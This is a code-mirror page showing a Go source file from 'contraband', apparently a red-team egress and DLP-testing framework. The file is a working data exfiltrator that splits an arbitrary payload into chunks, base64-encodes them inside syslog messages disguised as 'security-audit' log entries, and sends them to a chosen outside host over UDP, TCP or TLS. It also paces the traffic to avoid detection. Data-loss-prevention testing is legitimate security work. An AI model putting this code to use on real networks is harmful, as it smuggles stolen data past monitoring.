● Notice //GitHub (@shehzade) is temporarily suspended pending an automated false-positive review. All tools are hosted on this Code Mirror and available on request (contact); GitHub links will return once reinstated.
PUBLIC MIRRORGo v1.0

Multi-protocol network egress assessment and DLP verification framework featuring automated L4 sweeps, corporate proxy traversal, and covert protocol smuggling across 20+ channels.

$ git clone https://shehzade.io/repos/contraband.git Copy
Source ZIP (1.93 MB)
Code 174 Commits 1
contraband / pkg / client / exfil / covert / syslog.go
← Back to directory
265 lines · 7.6 KB
Raw
1package covert
2
3import (
4 "context"
5 "crypto/sha256"
6 "crypto/tls"
7 "encoding/base64"
8 "encoding/hex"
9 "fmt"
10 "io"
11 "net"
12 "strconv"
13 "strings"
14 "time"
15
16 "github.com/shehzade/contraband/pkg/client/evasion"
17 "github.com/shehzade/contraband/pkg/client/exfil"
18 "github.com/shehzade/contraband/pkg/common"
19)
20
21func init() {
22 exfil.RegisterExfiltrator(common.ProtoSyslog, NewSyslogExfiltrator())
23}
24
25// SyslogExfiltrator implements RFC 5424 structured syslog exfiltration over UDP, TCP, and TLS.
26type SyslogExfiltrator struct{}
27
28func NewSyslogExfiltrator() *SyslogExfiltrator {
29 return &SyslogExfiltrator{}
30}
31
32func (e *SyslogExfiltrator) Protocol() string {
33 return common.ProtoSyslog
34}
35
36// BuildRFC5424Message formats an RFC 5424 structured syslog message containing exfiltrated chunk data.
37func BuildRFC5424Message(token common.SessionToken, seq, total int, hash string, payload []byte) string {
38 now := time.Now().UTC().Format(time.RFC3339Nano)
39 hostname := "sec-node01"
40 appname := "security-audit"
41 procID := "4028"
42 msgID := "CTRB-EXFIL"
43 b64Payload := base64.StdEncoding.EncodeToString(payload)
44
45 // RFC 5424 Format: <PRI>VERSION TIMESTAMP HOSTNAME APP-NAME PROCID MSGID [SD-ELEMENT] MSG
46 // PRI 14 = Facility 1 (User-level) * 8 + Severity 6 (Informational)
47 return fmt.Sprintf("<14>1 %s %s %s %s %s [ctrb@32473 token=\"%s\" seq=\"%d\" total=\"%d\" hash=\"%s\"] %s",
48 now, hostname, appname, procID, msgID, token.String(), seq, total, hash, b64Payload)
49}
50
51func (e *SyslogExfiltrator) Exfiltrate(ctx context.Context, reader io.Reader, opts exfil.ExfilOptions) (*common.ProbeResult, error) {
52 if err := opts.Validate(); err != nil {
53 return nil, err
54 }
55
56 start := time.Now().UTC()
57 result, err := common.NewProbeResult("exfil", e.Protocol(), opts.TargetHost, opts.TargetPort)
58 if err != nil {
59 return nil, err
60 }
61 result.Timestamps.StartTCP = start
62 result.PayloadType = opts.PayloadType
63 result.CarrierType = opts.CarrierType
64
65 payload, err := io.ReadAll(reader)
66 if err != nil {
67 return nil, fmt.Errorf("failed to read payload: %w", err)
68 }
69 result.TargetVolume = int64(len(payload))
70
71 if opts.ExpectedHash == "" {
72 h := sha256.Sum256(payload)
73 opts.ExpectedHash = hex.EncodeToString(h[:])
74 }
75 result.PayloadHash = opts.ExpectedHash
76
77 if opts.SessionToken.IsZero() {
78 tok, tokErr := common.NewSessionToken()
79 if tokErr != nil {
80 return nil, tokErr
81 }
82 opts.SessionToken = tok
83 }
84
85 chunks, err := evasion.ChunkPayload(payload, opts.SessionToken, opts.ChunkSize)
86 if err != nil {
87 return nil, fmt.Errorf("failed to chunk payload: %w", err)
88 }
89
90 targetAddr := net.JoinHostPort(opts.TargetHost, strconv.Itoa(opts.TargetPort))
91 transport := strings.ToLower(opts.Headers["transport"])
92 if transport == "" {
93 if opts.UseTLS || opts.TargetPort == 6514 {
94 transport = "tls"
95 } else if opts.TargetPort == 514 {
96 transport = "udp"
97 } else {
98 transport = "tcp"
99 }
100 }
101
102 totalChunks := len(chunks)
103 result.Timestamps.ConnectedTCP = time.Now().UTC()
104 result.Timestamps.FirstByteSent = time.Now().UTC()
105
106 switch transport {
107 case "tls":
108 tlsConf := &tls.Config{
109 ServerName: opts.TargetHost,
110 InsecureSkipVerify: opts.InsecureTLS,
111 }
112 d := &net.Dialer{Timeout: opts.Timeout}
113 conn, dialErr := tls.DialWithDialer(d, "tcp", targetAddr, tlsConf)
114 if dialErr != nil {
115 result.Verdict = classifyCovertError(dialErr)
116 result.ErrorMessage = dialErr.Error()
117 calculateCovertDurations(&result)
118 return &result, dialErr
119 }
120 defer conn.Close()
121
122 result.Timestamps.HandshakeTLS = time.Now().UTC()
123
124 for i, chunkFrame := range chunks {
125 seq := i + 1
126 if opts.Shaper != nil {
127 if err := opts.Shaper.WaitN(ctx, len(chunkFrame)); err != nil {
128 result.Verdict = classifyCovertError(err)
129 result.ErrorMessage = err.Error()
130 calculateCovertDurations(&result)
131 return &result, err
132 }
133 }
134 if opts.Cadence != nil {
135 delay := opts.Cadence.NextDelay()
136 if delay > 0 {
137 select {
138 case <-time.After(delay):
139 case <-ctx.Done():
140 result.Verdict = classifyCovertError(ctx.Err())
141 result.ErrorMessage = ctx.Err().Error()
142 calculateCovertDurations(&result)
143 return &result, ctx.Err()
144 }
145 }
146 }
147
148 msg := BuildRFC5424Message(opts.SessionToken, seq, totalChunks, opts.ExpectedHash, chunkFrame)
149 // RFC 6587 octet counting
150 framed := fmt.Sprintf("%d %s\n", len(msg), msg)
151 if _, err := conn.Write([]byte(framed)); err != nil {
152 result.Verdict = classifyCovertError(err)
153 result.ErrorMessage = err.Error()
154 calculateCovertDurations(&result)
155 return &result, err
156 }
157 result.BytesSent += int64(len(framed))
158 }
159
160 case "tcp":
161 d := net.Dialer{Timeout: opts.Timeout}
162 conn, dialErr := d.DialContext(ctx, "tcp", targetAddr)
163 if dialErr != nil {
164 result.Verdict = classifyCovertError(dialErr)
165 result.ErrorMessage = dialErr.Error()
166 calculateCovertDurations(&result)
167 return &result, dialErr
168 }
169 defer conn.Close()
170
171 for i, chunkFrame := range chunks {
172 seq := i + 1
173 if opts.Shaper != nil {
174 if err := opts.Shaper.WaitN(ctx, len(chunkFrame)); err != nil {
175 result.Verdict = classifyCovertError(err)
176 result.ErrorMessage = err.Error()
177 calculateCovertDurations(&result)
178 return &result, err
179 }
180 }
181 if opts.Cadence != nil {
182 delay := opts.Cadence.NextDelay()
183 if delay > 0 {
184 select {
185 case <-time.After(delay):
186 case <-ctx.Done():
187 result.Verdict = classifyCovertError(ctx.Err())
188 result.ErrorMessage = ctx.Err().Error()
189 calculateCovertDurations(&result)
190 return &result, ctx.Err()
191 }
192 }
193 }
194
195 msg := BuildRFC5424Message(opts.SessionToken, seq, totalChunks, opts.ExpectedHash, chunkFrame)
196 framed := fmt.Sprintf("%d %s\n", len(msg), msg)
197 if _, err := conn.Write([]byte(framed)); err != nil {
198 result.Verdict = classifyCovertError(err)
199 result.ErrorMessage = err.Error()
200 calculateCovertDurations(&result)
201 return &result, err
202 }
203 result.BytesSent += int64(len(framed))
204 }
205
206 default: // "udp"
207 udpAddr, resErr := net.ResolveUDPAddr("udp", targetAddr)
208 if resErr != nil {
209 result.Verdict = classifyCovertError(resErr)
210 result.ErrorMessage = resErr.Error()
211 calculateCovertDurations(&result)
212 return &result, resErr
213 }
214 conn, dialErr := net.DialUDP("udp", nil, udpAddr)
215 if dialErr != nil {
216 result.Verdict = classifyCovertError(dialErr)
217 result.ErrorMessage = dialErr.Error()
218 calculateCovertDurations(&result)
219 return &result, dialErr
220 }
221 defer conn.Close()
222
223 for i, chunkFrame := range chunks {
224 seq := i + 1
225 if opts.Shaper != nil {
226 if err := opts.Shaper.WaitN(ctx, len(chunkFrame)); err != nil {
227 result.Verdict = classifyCovertError(err)
228 result.ErrorMessage = err.Error()
229 calculateCovertDurations(&result)
230 return &result, err
231 }
232 }
233 if opts.Cadence != nil {
234 delay := opts.Cadence.NextDelay()
235 if delay > 0 {
236 select {
237 case <-time.After(delay):
238 case <-ctx.Done():
239 result.Verdict = classifyCovertError(ctx.Err())
240 result.ErrorMessage = ctx.Err().Error()
241 calculateCovertDurations(&result)
242 return &result, ctx.Err()
243 }
244 }
245 }
246
247 msg := BuildRFC5424Message(opts.SessionToken, seq, totalChunks, opts.ExpectedHash, chunkFrame)
248 if _, err := conn.Write([]byte(msg)); err != nil {
249 result.Verdict = classifyCovertError(err)
250 result.ErrorMessage = err.Error()
251 calculateCovertDurations(&result)
252 return &result, err
253 }
254 result.BytesSent += int64(len(msg))
255 }
256 }
257
258 result.Timestamps.AckReceived = time.Now().UTC()
259 result.Timestamps.TeardownDone = time.Now().UTC()
260 result.Verdict = common.VerdictSuccess
261 result.RawEvidence = common.FormatBoundedRawEvidence(payload)
262 calculateCovertDurations(&result)
263
264 return &result, nil
265}